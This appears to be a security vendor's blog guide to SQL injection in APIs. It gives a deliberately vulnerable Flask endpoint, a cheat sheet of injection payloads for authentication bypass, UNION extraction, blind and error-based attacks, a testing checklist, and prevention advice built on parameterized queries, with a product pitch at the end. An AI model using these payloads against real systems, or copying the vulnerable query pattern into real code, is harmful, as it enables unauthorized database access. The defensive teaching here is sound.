A user submits {"username": "admin' OR 1=1--"} in a JSON request body to your login API. The server concatenates the value directly into a SQL query, bypasses authentication, and returns every user record in the database. No browser, no form field, just a single API call.
SQL injection remains one of the most critical threats to APIs. While most SQL injection cheat sheet guides focus on web form payloads, APIs introduce different injection surfaces that require a dedicated testing approach. JSON body parameters, query strings, HTTP headers, and GraphQL variables all accept user input that can reach database queries.
The Open Web Application Security Project (OWASP) removed "Injection" as a standalone category from the 2023 API Security Top 10, but injection flaws still fall under API8:2023 (Security Misconfiguration) and remain a core risk. For a full breakdown, see our guide to the 2023 OWASP API Top 10.
How SQL Injection Works in APIs
Traditional SQL injection exploits form fields and URL parameters rendered in a browser. API injection works differently because attackers interact directly with endpoints using tools like cURL, Postman, or automated scripts, sending payloads through channels that web scanners often ignore.
Here is a vulnerable Python Flask API endpoint that builds a query using string concatenation:
@app.route('/api/users', methods=['GET'])
def get_user():
username = request.args.get('username')
query = f"SELECT * FROM users WHERE username = '{username}'"
result = db.execute(query)
return jsonify(result)
An attacker sends:
GET /api/users?username=admin'%20OR%201=1--
The query becomes SELECT * FROM users WHERE username = 'admin' OR 1=1--', returning every row in the users table. The same vulnerability exists when user input from JSON bodies, headers, or path parameters reaches a SQL query without parameterization.
API-Specific SQL Injection Surfaces
Unlike web applications, where injection typically occurs through form fields, APIs expose multiple injection points that security teams must test.
Understanding these surfaces is critical for any SQL injection testing checklist:
- JSON body parameters. POST and PUT requests carry user input in JSON payloads. Fields like username, email, search, and filter are common targets. Many Web Application Firewalls (WAFs) inspect URL parameters but skip JSON body content entirely.
- Query string parameters. GET requests pass filters, search terms, and pagination values through query strings. Endpoints like /api/products?category=electronics are vulnerable when the value is concatenated into a SQL query.
- Path parameters. RESTful APIs use path segments as identifiers: /api/users/123. When path values feed into SQL queries without validation, attackers can inject payloads through the URL path itself.
- HTTP headers. Custom headers like X-User-ID, X-Tenant, or X-Forwarded-For sometimes flow into database queries for logging or multi-tenant routing. Developers rarely expect headers to contain malicious input.
- GraphQL variables. GraphQL APIs accept variables in JSON that resolve into backend queries. A variable like {"userId": "1' OR '1'='1"} can reach a SQL query when resolvers concatenate input directly. Our GraphQL security testing guide covers this in depth.
SQL Injection Payloads for API Testing
Here is a practical SQL injection cheat sheet of payloads organized by attack type. Test each payload across all injection surfaces listed above:
Authentication bypass payloads:
- ' OR 1=1--
- ' OR '1'='1
- admin'--
- ' OR 1=1# (MySQL)
- ') OR ('1'='1'--
Union-based data extraction:
- ' UNION SELECT NULL,NULL,NULL-- (increment NULLs to match column count)
- ' UNION SELECT username,password FROM users--
- ' UNION SELECT table_name,NULL FROM information_schema.tables--
Blind SQL injection (boolean-based):
- ' AND 1=1-- (true condition, normal response)
- ' AND 1=2-- (false condition, different response)
- ' AND SUBSTRING(username,1,1)='a'--
Time-based blind injection:
- ' AND SLEEP(5)-- (MySQL)
- '; WAITFOR DELAY '0:0:5'-- (SQL Server)
- ' AND pg_sleep(5)-- (PostgreSQL)
Error-based extraction:
- ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))-- (MySQL)
- ' AND 1=CAST((SELECT version()) AS int)-- (PostgreSQL)
When testing APIs, deliver these payloads through JSON bodies ({"username": "admin' OR 1=1--"}), query strings (?search=admin'%20OR%201=1--), and headers (X-User-ID: 1' OR '1'='1).
SQL Injection Testing Checklist for APIs
Use this SQL injection testing checklist alongside our API penetration testing checklist for comprehensive coverage:
1. Map all injection surfaces
Identify every endpoint accepting user input. Parse OpenAPI specifications to catalog parameters in query strings, path segments, JSON bodies, and headers. Shadow APIs and undocumented endpoints are often the least protected.
2. Test each parameter independently
Inject payloads into one parameter at a time while keeping others valid. A 200 OK with unexpected data, a database error message, or a measurable time delay confirms the injection point.
3. Escalate from detection to extraction
Once an injection point is confirmed, use UNION-based queries to enumerate tables, columns, and data. For blind injection, use boolean or time-based techniques to extract data one character at a time.
4. Check for NoSQL injection alongside SQL injection
APIs using MongoDB or other document databases face similar risks. Payloads like {"username": {"$gt": ""}} bypass authentication when the API passes JSON operators directly to query constructors. Our API fuzzing guide covers automated payload generation for both SQL and NoSQL targets.
5. Verify error handling
Confirm that the API returns generic error messages (e.g., 400 Bad Request) rather than database stack traces. Verbose errors like MySQL syntax error near... reveal database type, table names, and query structure to attackers.
6. Run automated testing at scale
Manual payload testing covers a handful of endpoints. Purpose-built API security testing platforms generate thousands of injection variations per parameter across every endpoint, testing encoded payloads, nested JSON fields, and header-based injection that manual testing cannot cover.
How to Prevent SQL Injection in APIs
Prevention requires enforcement at the code level. Pair these strategies with REST API security best practices:
1. Use parameterized queries for every database call
Parameterized queries separate SQL logic from user data, making injection impossible regardless of input content. Here is the secure version of the vulnerable Flask endpoint:
@app.route('/api/users', methods=['GET'])
def get_user():
username = request.args.get('username')
query = "SELECT * FROM users WHERE username = %s"
result = db.execute(query, (username,))
return jsonify(result)
The database engine treats %s as a data placeholder, never as executable SQL. Apply this pattern to every query in every endpoint, including search filters, pagination, and sorting parameters.
2. Use an ORM layer
Object-Relational Mapping (ORM) frameworks like SQLAlchemy (Python), Hibernate (Java), and Sequelize (Node.js) abstract SQL query construction, reducing direct SQL usage. ORM queries are parameterized by default, but custom raw queries within ORMs still require parameterization.
3. Validate and sanitize all input
Enforce strict type checking on every parameter. If an endpoint expects an integer ID, reject any value containing non-numeric characters before the value reaches the query layer. Use allowlists for fields that accept a fixed set of values, like sort columns or filter names.
4. Restrict database user privileges
Connect each API service to the database with a dedicated user account that has only the permissions the service requires. A read-only API endpoint should use a database account with SELECT-only privileges. Even if the injection succeeds, the attacker cannot execute DROP, UPDATE, or INSERT commands.
5. Integrate continuous injection testing in CI/CD
New API endpoints and query changes can reintroduce injection flaws with every release. Running automated API security testing in a Continuous Integration/Continuous Deployment (CI/CD) pipeline catches injection vulnerabilities before code reaches production.
Close the Injection Gaps Before Attackers Find Them
SQL injection in APIs is dangerous because attackers bypass browser-based protections entirely, targeting endpoints directly through JSON payloads, headers, and query parameters. Parameterized queries, input validation, and continuous testing close those gaps.
APIsec tests every API endpoint for injection flaws, OWASP API Top 10 vulnerabilities, and business logic abuse.
Start a free scan and uncover what your current tools miss.
FAQs
How is SQL injection in APIs different from web application SQL injection?
API injection occurs through JSON bodies, query parameters, path segments, and headers rather than HTML form fields. Attackers use tools like cURL or Postman instead of browsers, bypassing client-side validation and many WAF rules entirely.
Do parameterized queries prevent all SQL injection?
Parameterized queries prevent injection in the values they protect. However, table names, column names, and ORDER BY clauses cannot be parameterized in most databases. Use strict allowlists for these dynamic elements.
Can NoSQL databases be injected through APIs?
Yes. APIs using MongoDB are vulnerable to operator injection when JSON objects like {"$gt": ""} are passed directly to query constructors. NoSQL injection requires different payloads but follows the same root cause of unsanitized input reaching the query layer.
What is the best tool for API SQL injection testing?
Manual testing with Burp Suite or SQLMap covers individual endpoints effectively. For comprehensive coverage across hundreds of API endpoints, automated platforms like APIsec generate injection payloads across every parameter type on every build.
Where does SQL injection fit in the OWASP API Security Top 10?
OWASP removed "Injection" as a standalone API category in 2023. SQL injection now falls under API8:2023 (Security Misconfiguration) when APIs lack proper input handling, and is also tested as part of comprehensive OWASP API Top 10 coverage.